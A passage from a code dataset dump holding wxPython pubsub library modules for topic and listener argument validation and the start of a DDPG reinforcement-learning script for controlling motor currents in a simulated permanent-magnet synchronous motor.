least one parameter (any name, with or without default value, or *arg)'\n raise ListenerInadequate(msg, listener, [])\n\n assert paramsInfo.getAllArgs()\n #assert not paramsInfo.acceptsAllUnnamedArgs\n \n # verify at most one required arg\n numReqdArgs = paramsInfo.numRequired\n if numReqdArgs > 1:\n allReqd = paramsInfo.getRequiredArgs()\n msg = 'only one of %s can be a required agument' % (allReqd,)\n raise ListenerInadequate(msg, listener, allReqd)\n\n # if no required args but listener has *args, then we\n # don't care about anything else:\n if numReqdArgs == 0 and paramsInfo.acceptsAllUnnamedArgs:\n return\n\n # if no policy set, any name ok; otherwise validate name:\n needArgName = policies.msgDataArgName\n firstArgName = paramsInfo.allParams[0]\n if (needArgName is not None) and firstArgName != needArgName:\n msg = 'listener arg name must be \"%s\" (is \"%s\")' % (needArgName, firstArgName)\n effTopicArgs = [needArgName]\n raise ListenerInadequate(msg, listener, effTopicArgs)\n \n\n", "id": "2343754", "language": "Python", "matching_score": 2.902085065841675, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/arg1/listenerimpl.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport weakref\n\nfrom topicutils import stringize, WeakNone\nfrom validatedefnargs import verifySubset\n\n\n### Exceptions raised during check() from sendMessage()\n\nclass SenderMissingReqdArgs(RuntimeError):\n '''\n Raised when a sendMessage() is missing arguments tagged as\n 'required' by pubsub topic of message.\n '''\n\n def __init__(self, topicName, argNames, missing):\n argsStr = ','.join(argNames)\n missStr = ','.join(missing)\n msg = \"Some required args missing in call to sendMessage('%s', %s): %s\" \\\n % (topicName, argsStr, missStr)\n RuntimeError.__init__(self, msg)\n\n\nclass SenderUnknownOptArgs(RuntimeError):\n '''\n Raised when a sendMessage() has arguments not listed among the topic's\n listener specification.\n '''\n\n def __init__(self, topicName, argNames, extra):\n argsStr = ','.join(argNames)\n extraStr = ','.join(extra)\n msg = \"Some optional args unknown in call to sendMessage('%s', %s): %s\" \\\n % (topicName, argsStr, extraStr)\n RuntimeError.__init__(self, msg)\n\n\nclass ArgsInfo:\n '''\n Encode the Listener Protocol Specification (LPS) for a given\n topic. ArgsInfos form a tree identical to that of Topics in that\n ArgInfos have a reference to their parent and children ArgInfos,\n created for the parent and children topics.\n\n The only difference\n between an ArgsInfo and an ArgSpecGiven is that the latter is\n what \"user thinks is ok\" whereas former has been validated:\n the specification for this topic is a strict superset of the\n specification of its parent, and a strict subset of the\n specification of each of its children. Also, the instance\n can be used to check validity and filter arguments.\n\n The LPS can be created \"empty\", ie \"incomplete\", meaning it cannot\n yet be used to validate listener subscriptions to topics.\n '''\n\n SPEC_MISSING = 10 # no args given\n SPEC_COMPLETE = 12 # all args, but not confirmed via user spec\n\n\n def __init__(self, topicNameTuple, specGiven, parentArgsInfo):\n self.topicNameTuple = topicNameTuple\n self.allOptional = () # topic message optional arg names\n self.allDocs = {} # doc for each arg\n self.allRequired = () # topic message required arg names\n self.argsSpecType = self.SPEC_MISSING\n self.parentAI = WeakNone()\n if parentArgsInfo is not None:\n self.parentAI = weakref.ref(parentArgsInfo)\n parentArgsInfo.__addChildAI(self)\n self.childrenAI = []\n\n if specGiven.isComplete():\n self.__setAllArgs(specGiven)\n\n def isComplete(self):\n return self.argsSpecType == self.SPEC_COMPLETE\n\n def getArgs(self):\n return self.allOptional + self.allRequired\n\n def numArgs(self):\n return len(self.allOptional) + len(self.allRequired)\n\n def getReqdArgs(self):\n return self.allRequired\n\n def getOptArgs(self):\n return self.allOptional\n\n def getArgsDocs(self):\n return self.allDocs.copy()\n\n def setArgsDocs(self, docs):\n '''docs is a mapping from arg names to their documentation'''\n if not self.isComplete():\n raise\n for arg, doc in docs.iteritems():\n self.allDocs[arg] = doc\n\n def check(self, msgKwargs):\n '''Check that the message arguments given satisfy the topic arg\n specification. Raises SenderMissingReqdArgs if some required\n args are missing or not known, and raises SenderUnknownOptArgs if some\n optional args are unknown. '''\n all = set(msgKwargs)\n # check that it has all required args\n needReqd = set(self.allRequired)\n hasReqd = (needReqd <= all)\n if not hasReqd:\n raise SenderMissingReqdArgs(\n self.topicNameTuple, msgKwargs.keys(), needReqd - all)\n\n # check that all other args are among the optional spec\n optional = all - needReqd\n ok = (optional <= set(self.allOptional))\n if not ok:\n raise SenderUnknownOptArgs( self.topicNameTuple,\n msgKwargs.keys(), optional - set(self.allOptional) )\n\n def filterArgs(self, msgKwargs):\n '''Returns a dict which contains only those items of msgKwargs\n which are defined for topic. E.g. if msgKwargs is {a:1, b:'b'}\n and topic arg spec is ('a',) then return {a:1}. The returned dict\n is valid only if check(msgKwargs) was called (or\n check(superset of msgKwargs) was called).'''\n assert self.isComplete()\n if len(msgKwargs) == self.numArgs():\n return msgKwargs\n\n # only keep the keys from msgKwargs that are also in topic's kwargs\n # method 1: SLOWEST\n #newKwargs = dict( (k,msgKwargs[k]) for k in self.__msgArgs.allOptional if k in msgKwargs )\n #newKwargs.update( (k,msgKwargs[k]) for k in self.__msgArgs.allRequired )\n\n # method 2: FAST:\n #argNames = self.__msgArgs.getArgs()\n #newKwargs = dict( (key, val) for (key, val) in msgKwargs.iteritems() if key in argNames )\n\n # method 3: FASTEST:\n argNames = set(self.getArgs()).intersection(msgKwargs)\n newKwargs = dict( (k,msgKwargs[k]) for k in argNames )\n\n return newKwargs\n\n def hasSameArgs(self, *argNames):\n '''Returns true if self has all the message arguments given, no\n more and no less. Order does not matter. So if getArgs()\n returns ('arg1', 'arg2') then self.hasSameArgs('arg2', 'arg1')\n will return true. '''\n return set(argNames) == set( self.getArgs() )\n\n def hasParent(self, argsInfo):\n '''return True if self has argsInfo object as parent'''\n return self.parentAI() is argsInfo\n\n def getCompleteAI(self):\n '''Get the closest arg spec, starting from self and moving to parent,\n that is complete. So if self.isComplete() is True, then returns self,\n otherwise returns parent (if parent.isComplete()), etc. '''\n AI = self\n while AI is not None:\n if AI.isComplete():\n return AI\n AI = AI.parentAI() # dereference weakref\n return None\n\n def updateAllArgsFinal(self, topicDefn):\n '''This can only be called once, if the construction was done\n with ArgSpecGiven.SPEC_GIVEN_NONE'''\n assert not self.isComplete()\n assert topicDefn.isComplete()\n self.__setAllArgs(topicDefn)\n\n def __addChildAI(self, childAI):\n assert childAI not in self.childrenAI\n self.childrenAI.append(childAI)\n\n def __notifyParentCompleted(self):\n '''Parent should call this when parent ArgsInfo has been completed'''\n assert self.parentAI().isComplete()\n if self.isComplete():\n # verify that our spec is compatible with parent's\n self.__validateArgsToParent()\n return\n\n def __validateArgsToParent(self):\n # validate relative to parent arg spec\n closestParentAI = self.parentAI().getCompleteAI()\n if closestParentAI is not None:\n # verify that parent args is a subset of spec given:\n topicName = stringize(self.topicNameTuple)\n verifySubset(self.getArgs(), closestParentAI.getArgs(), topicName)\n verifySubset(self.allRequired, closestParentAI.getReqdArgs(),\n topicName, ' required args')\n\n def __setAllArgs(self, specGiven):\n assert specGiven.isComplete()\n self.allOptional = tuple( specGiven.getOptional() )\n self.allRequired = specGiven.reqdArgs\n self.allDocs = specGiven.argsDocs.copy() # doc for each arg\n self.argsSpecType= self.SPEC_COMPLETE\n\n if self.parentAI() is not None:\n self.__validateArgsToParent()\n\n # notify our children\n for childAI in self.childrenAI:\n childAI.__notifyParentCompleted()\n\n\n", "id": "3089080", "language": "Python", "matching_score": 5.295473575592041, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/kwargs/topicargspecimpl.py" }, { "content": "'''\nDefinitions related to listener signature specification.\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nfrom listener import getArgs as getListenerArgs\nfrom validatedefnargs import ListenerSpecInvalid\nfrom topicargspecimpl import SenderMissingReqdArgs, SenderUnknownOptArgs, ArgsInfo\n\n\ndef topicArgsFromCallable(_callable):\n '''Get the topic arguments and list of those that are required, \n by introspecting given listener. Returns a pair, (args, required)\n where args is a dictionary of allowed arguments, and required\n states which args are required rather than optional.'''\n argsInfo = getListenerArgs(_callable)\n required = argsInfo.getRequiredArgs()\n defaultDoc = 'UNDOCUMENTED'\n args = dict.fromkeys(argsInfo.allParams, defaultDoc)\n return args, required\n\n\nclass ArgSpecGiven:\n '''\n The listener protocol specification (LPS) given for a topic\n *by an application* (user).\n This consists of each argument name that listener should have in its\n call protocol, plus which ones are required in any sendMessage(), and a\n documentation string for each argument. This instance will be transformed\n into an ArgsInfo object which is basically a superset of that information,\n needed to make sure the arguments specifications satisfy\n pubsub policies for chosen API version.\n '''\n\n SPEC_GIVEN_NONE = 1 # specification not given\n SPEC_GIVEN_ALL = 3 # all args specified\n\n def __init__(self, argsDocs=None, reqdArgs=None):\n self.reqdArgs = tuple(reqdArgs or ())\n\n if argsDocs is None:\n self.argsSpecType = ArgSpecGiven.SPEC_GIVEN_NONE\n self.argsDocs = {}\n else:\n self.argsSpecType = ArgSpecGiven.SPEC_GIVEN_ALL\n self.argsDocs = argsDocs\n\n # check that all args marked as required are in argsDocs\n missingArgs = set(self.reqdArgs).difference(self.argsDocs.keys())\n if missingArgs:\n msg = 'Params [%s] missing inherited required args [%%s]' % ','.join(argsDocs.keys())\n raise ListenerSpecInvalid(msg, missingArgs)\n\n def setAll(self, allArgsDocs, reqdArgs = None):\n self.argsDocs = allArgsDocs\n self.reqdArgs = reqdArgs or ()\n self.argsSpecType = ArgSpecGiven.SPEC_GIVEN_ALL\n\n def isComplete(self):\n '''Returns True if the definition is usable, false otherwise.'''\n return self.argsSpecType == ArgSpecGiven.SPEC_GIVEN_ALL\n\n def getOptional(self):\n return tuple( set( self.argsDocs.keys() ).difference( self.reqdArgs ) )\n\n def __str__(self):\n return \"%s, %s, %s\" % \\\n (self.argsDocs, self.reqdArgs, self.argsSpecType)\n\n\n", "id": "11965088", "language": "Python", "matching_score": 1.620524287223816, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/topicargspec.py" }, { "content": "'''\nMixin for publishing messages to a topic's listeners. This will be\nmixed into topicobj.Topic so that a user can use a Topic object to\nsend a message to the topic's listeners via a publish() method.\n\nNote that it is important that the PublisherMixin NOT modify any\nstate data during message sending, because in principle it could\nhappen that a listener causes another message of same topic to be\nsent (presumably, the listener has a way of preventing infinite\nloop).\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nclass PublisherMixin:\n def __init__(self):\n pass\n\n def publish(self, data=None):\n self._publish(data)\n\n ############## IMPLEMENTATION ###############\n\n def _mix_prePublish(self, data, topicObj=None, iterState=None):\n '''Called just before the __sendMessage, to perform any argument\n checking, set iterState, etc'''\n return None\n\n def _mix_callListener(self, listener, data, iterState):\n '''Send the data to given listener.'''\n listener(self, data)\n", "id": "4825143", "language": "Python", "matching_score": 2.3020806312561035, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/arg1/publishermixin.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nclass Message:\n \"\"\"\n A simple container object for the two components of a message: the \n topic and the user data. An instance of Message is given to your \n listener when called by sendMessage(topic). The data is accessed\n via the 'data' attribute, and can be type of object. \n \"\"\"\n def __init__(self, topic, data):\n self.topic = topic\n self.data = data\n\n def __str__(self):\n return '[Topic: '+`self.topic`+', Data: '+`self.data`+']'\n\n", "id": "7705275", "language": "Python", "matching_score": 0.5145632028579712, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/datamsg.py" }, { "content": "'''\nCore package of pubsub, holding the publisher, listener, and topic\nobject modules. Functions defined here are used internally by\npubsub so that the right modules can be found later, based on the\nselected messaging protocol.\n\nIndeed some of the API depends on the messaging\nprotocol used. For instance sendMessage(), defined in publisher.py,\nhas a different signature (and hence implementation) for the kwargs\nprotocol than for the arg1 protocol.\n\nThe most convenient way to\nsupport this is to put the parts of the package that differ based\non protocol in separate folders, and add one of those folders to\nthe package's __path__ variable (defined automatically by the Python\ninterpreter when __init__.py is executed). For instance, code\nspecific to the kwargs protocol goes in the kwargs folder, and code\nspecific to the arg1 protocol in the arg1 folder. Then when doing\n\"from pubsub.core import listener\", the correct listener.py will be\nfound for the specified protocol. The default protocol is kwargs.\n\nOnly one protocol can be used in an application. The default protocol,\nif none is chosen by user, is kwargs, as selected by the call to\n_prependModulePath() at end of this file. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\ndef setMsgProtocol(protocol):\n import policies\n\n policies.msgDataProtocol = protocol\n\n # add appropriate subdir for protocol-specific implementation\n if protocol == 'kwargs':\n _replaceModulePath0('kwargs')\n else:\n _replaceModulePath0('arg1')\n\n\ndef setMsgDataArgName(stage, listenerArgName, senderArgNameAny=False):\n import policies\n policies.senderKwargNameAny = senderArgNameAny\n policies.msgDataArgName = listenerArgName\n policies.msgProtocolTransStage = stage\n #print `policies.msgProtocolTransStage`, `policies.msgDataProtocol`, \\\n # `policies.senderKwargNameAny`, `policies.msgDataArgName`\n #print 'override \"arg1\" protocol arg name:', argName\n\n\ndef _replaceModulePath0(dirname):\n '''Replace the first package-path item (in __path__) with dirname.\n The dirname will be prepended with the package's path, assumed to\n be the last item in __path__.'''\n corepath = __path__\n assert len(corepath) > 1\n initpyLoc = corepath[-1]\n import os\n corepath[0] = os.path.join(initpyLoc, dirname)\n\n\ndef _prependModulePath(extra):\n '''Insert extra at beginning of package's path list. Should only be\n called once, at package load time, to set the folder used for\n implementation specific to the default message protocol.'''\n corepath = __path__\n initpyLoc = corepath[-1]\n import os\n corepath.insert(0, os.path.join(initpyLoc, extra))\n \n\n# default protocol:\n_prependModulePath('kwargs')\n", "id": "4405828", "language": "Python", "matching_score": 5.851877689361572, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/__init__.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nmsgProtocolTransStage = None\n\nmsgDataProtocol = 'kwargs'\nmsgDataArgName = None\nsenderKwargNameAny = False\n", "id": "9723115", "language": "Python", "matching_score": 1.299618124961853, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/policies.py" }, { "content": "'''\nImport this file before the first 'from pubsub import pub' statement\nto make pubsub use the *arg1* messaging protocol::\n\n from pubsub import setuparg1\n from pubsub import pub\n\nThis could be necessary in at least two situations: \n\n1. with a default pubsub installation, where *kwargs* messaging protocol\n is the default, but an application developer requires the less\n stringent *arg1* messaging protocol.\n2. with a pubsub installation that has been configured to provide the \n legacy v1 API as the default (such as in some versions of wxPython), \n but an application developer wants to use the latest API, but with \n the messaging protocol closest to that used in the legacy v1 API.\n\nSee the setupkwargs module for a description of the default pubsub\nmessaging protocol, defined as 'kwargs'.\n\nNote that once :mod:pub has been imported, the messaging protocol\ncannot be changed. Also, if migrating an application from 'arg1' to 'kwargs'\nstyle messaging, see :func:enforceArgName().\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport pubsubconf\npubsubconf.setVersion(3)\nimport core\ncore.setMsgProtocol('arg1')\n\n\ndef enforceArgName(commonName):\n '''This will require that all listeners use the same argument\n name (commonName) as first parameter. This could be a ueful\n first step in transition an application that has been using *arg1*\n protocol to the default *kwargs* protocol, see the docs for\n details. '''\n import core\n core.setMsgDataArgName(1, commonName)\n", "id": "12628066", "language": "Python", "matching_score": 5.559792995452881, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/setuparg1.py" }, { "content": "'''\nImport this file before the first 'from pubsub import pub' statement\nto make pubsub use the *kwargs* messaging protocol::\n\n from pubsub import setupkwargs\n from pubsub import pub\n\nNote that in a default pubsub installation, this protocol is\nthe default, such that importing setupkwargs would rarely be\nrequired. But some pubsub installations (such as pubsub in\nsome versions of wxPython) use the legacy v1 API as the default.\nFor an application based on such an installation, but requiring\nthe more advanced *kwargs* protocol, this module can be imported as\ndescribed above.\n\nSee the setuparg1 module for using the same messaging protocol\nas the legacy v1 API, but using the latest (ie non legacy) API.\n\nNote that once :mod:pub has been imported, the messaging protocol\ncannot be changed. Also, if migrating an application from 'arg1' to 'kwargs'\nstyle messaging, see :func:transitionFromArg1() in this module and the\n:func:enforceArgName() of setuparg1 module.\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport pubsubconf\npubsubconf.setVersion(3)\nimport core\ncore.setMsgProtocol('kwargs')\n\n\ndef transitionFromArg1(commonName):\n '''This will require that all calls to pub.sendMessage() use the\n kwargs protocol, ie named arguments for the message data. This is\n a useful step after setuparg1.enforceArgName(commonName) was used\n and the application debugged. Replace the latter with ::\n\n setupkwargs.transitionFromArg1(commonName)\n\n After this stage tested and debugged, this function call\n can be removed, and all reference to the .data attribute of the message\n object received can be removed in all listeners, allowing the\n application to run in the default messaging protocol (kwargs) used by\n pubsub version >= 3.\n '''\n\n import core\n core.setMsgDataArgName(2, commonName)\n", "id": "11296699", "language": "Python", "matching_score": 4.058107376098633, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/setupkwargs.py" }, { "content": "'''\nImport this file before the first 'from pubsub import pub' statement\nto make pubsub use the legacy v1 API.\nThis would typically be useful only for wxPython applications that use\na version of wxPython where legacy v1 API is *not* the default:\n\n from wx.lib.pubsub import setupv1\n from wx.lib.pubsub import pub\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport pubsubconf\npubsubconf.setVersion(1)\n\n\n", "id": "5895132", "language": "Python", "matching_score": 3.538196325302124, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/setupv1.py" }, { "content": "'''\nImport this file before the first 'from pubsub import pub' statement\nto make pubsub use the legacy v2 API. This API is no longer supported\nor maintained.\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nimport pubsubconf\npubsubconf.setVersion(2)\n\n\n", "id": "8160982", "language": "Python", "matching_score": 2.5978922843933105, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/setupv2.py" }, { "content": "'''\nThere are no utilities supported for legacy v1 of pubsub.\n\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''", "id": "7662222", "language": "Python", "matching_score": 2.6376261711120605, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/pubsub1/utils.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''", "id": "10324408", "language": "Python", "matching_score": 1.4269721508026123, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/utils/__init__.py" } ]
2.597892
max-schenke
[ { "content": "from tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Flatten, Input, \\\n Concatenate, LeakyReLU\nfrom tensorflow.keras import initializers, regularizers\nimport tensorflow as tf\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DDPGAgent\nfrom rl.memory import SequentialMemory\nfrom rl.random import OrnsteinUhlenbeckProcess\nfrom gym.wrappers import FlattenObservation\nimport numpy as np\nimport sys\nimport os\nsys.path.append(os.path.abspath(os.path.join('..')))\nimport gym_electric_motor as gem\nfrom gym_electric_motor.reference_generators import MultipleReferenceGenerator, ConstReferenceGenerator, \\\n WienerProcessReferenceGenerator\nfrom gym_electric_motor.visualization import MotorDashboard\nfrom gym_electric_motor.physical_systems import ConstantSpeedLoad, ExternalSpeedLoad\nfrom gym.core import Wrapper\nfrom gym.spaces import Box, Tuple\nimport h5py\nfrom pathlib import Path\nfrom multiprocessing import Pool\n\n\nuse_dessca = True\n\n\n# globals:\ni_n = 230\ni_lim = 270\nU_dc = 350\nr_s = 17.932e-3\npsi_p = 65.65e-3\nl_d = 0.37e-3\nl_q = 1.2e-3\np = 3\nomega_lim = 12e3 * 2 * np.pi / 60\ntau = 1e-4\n\nrng = np.random.default_rng(42)\ni_step = i_n / 8\ni_dq_grid = np.array([[], []])\nfor d_idx in range(9):\n for q_idx in range(17):\n i_d_new = - d_idx * i_step * 0.999\n i_q_new = (q_idx - 8) * i_step * 0.999\n if np.sqrt(i_d_new ** 2 + i_q_new ** 2) < i_n:\n i_dq_grid = np.append(i_dq_grid, np.array([[i_d_new], [i_q_new]]), axis=1)\nrng.shuffle(i_dq_grid, axis=1)\n\nstep_length_per_point = 300\ngrid_test_duration_steps = np.shape(i_dq_grid)[1] * step_length_per_point\ngrid_test_duration_time = grid_test_duration_steps * tau\nacceleration_steps = 5000\naccel_time = acceleration_steps * tau\n\nlast_state_hold_steps = 5000\n\ntest_duration = (grid_test_duration_steps + acceleration_steps) * 5 + last_state_hold_steps\nmax_return = test_duration * 0.1\nprint(max_return)\nprint()\nprint()\nprint()\n\ndef i_dq_validation_profile(k):\n\n _k = k % (grid_test_duration_steps + acceleration_steps)\n if k >= test_duration - last_state_hold_steps:\n i_d_ref = 0\n i_q_ref = 0\n elif _k < grid_test_duration_steps:\n _point_idx = _k // step_length_per_point\n i_d_ref = i_dq_grid[0, _point_idx] / i_lim\n i_q_ref = i_dq_grid[1, _point_idx] / i_lim\n else:\n i_d_ref = 0\n i_q_ref = 0\n\n return i_d_ref, i_q_ref\n\ndef speed_profile(t):\n\n niveau0 = 0.0\n niveau1 = 0.15\n niveau2 = 0.5\n\n if t < grid_test_duration_time:\n omega = niveau0 * omega_lim\n elif t < (grid_test_duration_time + accel_time):\n omega = ((t - grid_test_duration_time) * (niveau1 - niveau0) / accel_time + niveau0) * omega_lim\n\n elif t < 2 * grid_test_duration_time + accel_time:\n omega = niveau1 * omega_lim\n elif t < 2 * (grid_test_duration_time + accel_time):\n omega = ((t - 2 * grid_test_duration_time - accel_time) * (- niveau1 - niveau1) / accel_time + niveau1) * omega_lim\n\n elif t < 3 * grid_test_duration_time + 2 * accel_time:\n omega = - niveau1 * omega_lim\n elif t < 3 * (grid_test_duration_time + accel_time):\n omega = ((t - 3 * grid_test_duration_time - 2 * accel_time) * (niveau2 + niveau1) / accel_time - niveau1) * omega_lim\n\n elif t < 4 * grid_test_duration_time + 3 * accel_time:\n omega = niveau2 * omega_lim\n elif t < 4 * (grid_test_duration_time + accel_time):\n omega = ((t - 4 * grid_test_duration_time - 3 * accel_time) * (- niveau2 - niveau2) / accel_time + niveau2) * omega_lim\n\n elif t < 5 * grid_test_duration_time + 4 * accel_time:\n omega = - niveau2 * omega_lim\n elif t < 5 * (grid_test_duration_time + accel_time):\n omega = ((t - 5 * grid_test_duration_time - 4 * accel_time) * (niveau0 + niveau2) / accel_time - niveau2) * omega_lim\n\n else:\n omega = 0.0\n\n return omega\n\n\nclass AppendLastActionWrapper(Wrapper):\n\n def __init__(self, environment, agent_idx):\n super().__init__(environment)\n self.observation_space = Tuple((Box(\n np.concatenate((environment.observation_space[0].low[0:3],\n [-1, -1],\n environment.observation_space[0].low[4:-1],\n environment.action_space.low)),\n np.concatenate((environment.observation_space[0].high[0:3],\n [1, 1],\n environment.observation_space[0].high[4:-1],\n environment.action_space.high))\n ), environment.observation_space[1]))\n\n self.STATE = None\n self.REWARD = []\n self.HISTORY = []\n\n self.time_idx = 0\n\n self.episode_count = 0\n self.agent_idx = agent_idx\n if use_dessca:\n self.folder_name = \"Dessca\"\n else:\n self.folder_name = \"Uniform\"\n\n def step(self, action):\n\n (state, ref), rew, term, info = self.env.step(action)\n self.time_idx += 1\n\n ref[0], ref[1] = i_dq_validation_profile(self.time_idx)\n state = np.concatenate((state[0:3], [np.cos(state[3] * np.pi), np.sin(state[3] * np.pi)], action))\n\n i_d = state[0]\n i_q = state[1]\n i_d_ref = ref[0]\n i_q_ref = ref[1]\n r_d = (np.sqrt(np.abs(i_d_ref - i_d) / 2) + ((i_d_ref - i_d) / 2) ** 2) / 2\n r_q = (np.sqrt(np.abs(i_q_ref - i_q) / 2) + ((i_q_ref - i_q) / 2) ** 2) / 2\n\n i_total = np.sqrt(i_d ** 2 + i_q ** 2)\n if i_total > i_n / i_lim: # Danger Zone !\n rew = (1 - (i_total - i_n / i_lim) / (1 - i_n / i_lim)) * (1 - 0.9) - (1 - 0.9)\n else:\n rew = (2 - r_d - r_q) / 2 * (1 - 0.9)\n\n if term:\n rew = -1\n\n self.STATE.append(np.concatenate((state, ref)).tolist())\n self.REWARD.append(rew)\n\n state[3] *= 0.1\n state[4] *= 0.1\n\n if self.time_idx == test_duration:\n self.reset()\n\n return (state, ref), rew, term, info\n\n def reset(self, **kwargs):\n\n if self.STATE is not None:\n self.HISTORY.append(np.mean(self.REWARD))\n Path(self.folder_name + \"/\" + self.folder_name + \"_\" + str(self.agent_idx)).mkdir(parents=True, exist_ok=True)\n with h5py.File(\n self.folder_name\n + \"/\" + self.folder_name\n + \"_\" + str(self.agent_idx)\n + \"/\" + \"validation\"\n + \"_\" + str(self.episode_count)\n + \".hdf5\", \"w\") as f:\n lim = f.create_dataset(\"limits\", data=np.concatenate((self.limits[0:3], [1, 1],\n [self.env.physical_system.limits[7],\n self.env.physical_system.limits[7]],\n self.limits[0:2]\n )))\n obs = f.create_dataset(\"observations\", data=self.STATE)\n rew = f.create_dataset(\"rewards\", data=self.REWARD)\n history = f.create_dataset(\"history\", data=self.HISTORY)\n self.episode_count += 1\n\n state, ref = self.env.reset()\n\n i_d_0 = 0\n i_q_0 = 0\n eps_0 = 0\n omega_0 = 0\n i_d_ref = 0\n i_q_ref = 0\n\n self.env.physical_system._ode_solver.set_initial_value(np.array([omega_0, i_d_0, i_q_0, eps_0]))\n self.env.reference_generator._sub_generators[0]._reference_value = i_d_ref / self.env.physical_system.limits[2]\n self.env.reference_generator._sub_generators[1]._reference_value = i_q_ref / self.env.physical_system.limits[2]\n self.env.physical_system.mechanical_load._omega = omega_0 / self.env.physical_system.limits[0]\n\n state[2] = omega_0 / self.env.physical_system.limits[0]\n state[3] = np.cos(eps_0)\n state[0] = i_d_0 / self.env.physical_system.limits[2]\n state[1] = i_q_0 / self.env.physical_system.limits[2]\n state = np.append(state, np.sin(eps_0))\n ref = [i_d_ref / self.env.physical_system.limits[2], i_q_ref / self.env.physical_system.limits[2]]\n\n state = np.concatenate((state, np.zeros(self.env.action_space.shape)))\n\n # i_d, i_q, omega, cos_epsilon, sin_epsilon, u_d-1, u_q-1, i_d^*, i_q^*\n self.STATE = [np.concatenate((state, ref)).tolist()]\n self.REWARD = []\n\n state[3] *= 0.1\n state[4] *= 0.1\n\n self.time_idx = 0\n\n return state, ref\n\n\ndef test_agent(agent_idx):\n d_generator = ConstReferenceGenerator('i_sd', 0)\n q_generator = ConstReferenceGenerator('i_sq', 0)\n rg = MultipleReferenceGenerator([d_generator, q_generator])\n\n motor_parameter = dict(\n r_s=r_s, l_d=l_d, l_q=l_q, psi_p=psi_p, p=p, j_rotor=0.001\n )\n\n limit_values = dict(\n i=i_lim,\n omega=omega_lim,\n u=U_dc,\n )\n\n nominal_values = {key: 0.7 * limit for key, limit in limit_values.items()}\n\n env = gem.make(\n 'PMSMCont-v1',\n load=ExternalSpeedLoad(speed_profile=speed_profile, tau=tau),\n control_space='dq',\n ode_solver='scipy.solve_ivp', solver_kwargs={},\n reference_generator=rg,\n reward_weights={'i_sq': 0.5, 'i_sd': 0.5},\n reward_power=0.5,\n observed_states=None, # ['i_sd', 'i_sq'],\n tau=tau,\n dead_time=True,\n u_sup=U_dc,\n motor_parameter=motor_parameter,\n limit_values=limit_values,\n nominal_values=nominal_values,\n state_filter=['i_sd', 'i_sq', 'omega', 'epsilon'],\n #visualization=MotorDashboard(plots=['i_sd', 'i_sq', 'action_0', 'action_1', 'mean_reward']), visu_period=1,\n )\n env = AppendLastActionWrapper(env, agent_idx=agent_idx)\n env = FlattenObservation(env)\n\n nb_actions = env.action_space.shape[0]\n\n window_length = 1\n actor = Sequential()\n actor.add(Flatten(input_shape=(window_length,) + env.observation_space.shape))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n # The network output fits the action space of the env\n actor.add(Dense(nb_actions,\n activation='tanh',\n #kernel_regularizer=regularizers.l2(1e-2))\n ))\n\n # Define another artificial neural network to be used within the agent as critic\n # note that this network has two inputs\n action_input = Input(shape=(nb_actions,), name='action_input')\n observation_input = Input(shape=(window_length,) + env.observation_space.shape, name='observation_input')\n # (using keras functional API)\n flattened_observation = Flatten()(observation_input)\n x = Concatenate()([action_input, flattened_observation])\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(1, activation='linear')(x)\n critic = Model(inputs=(action_input, 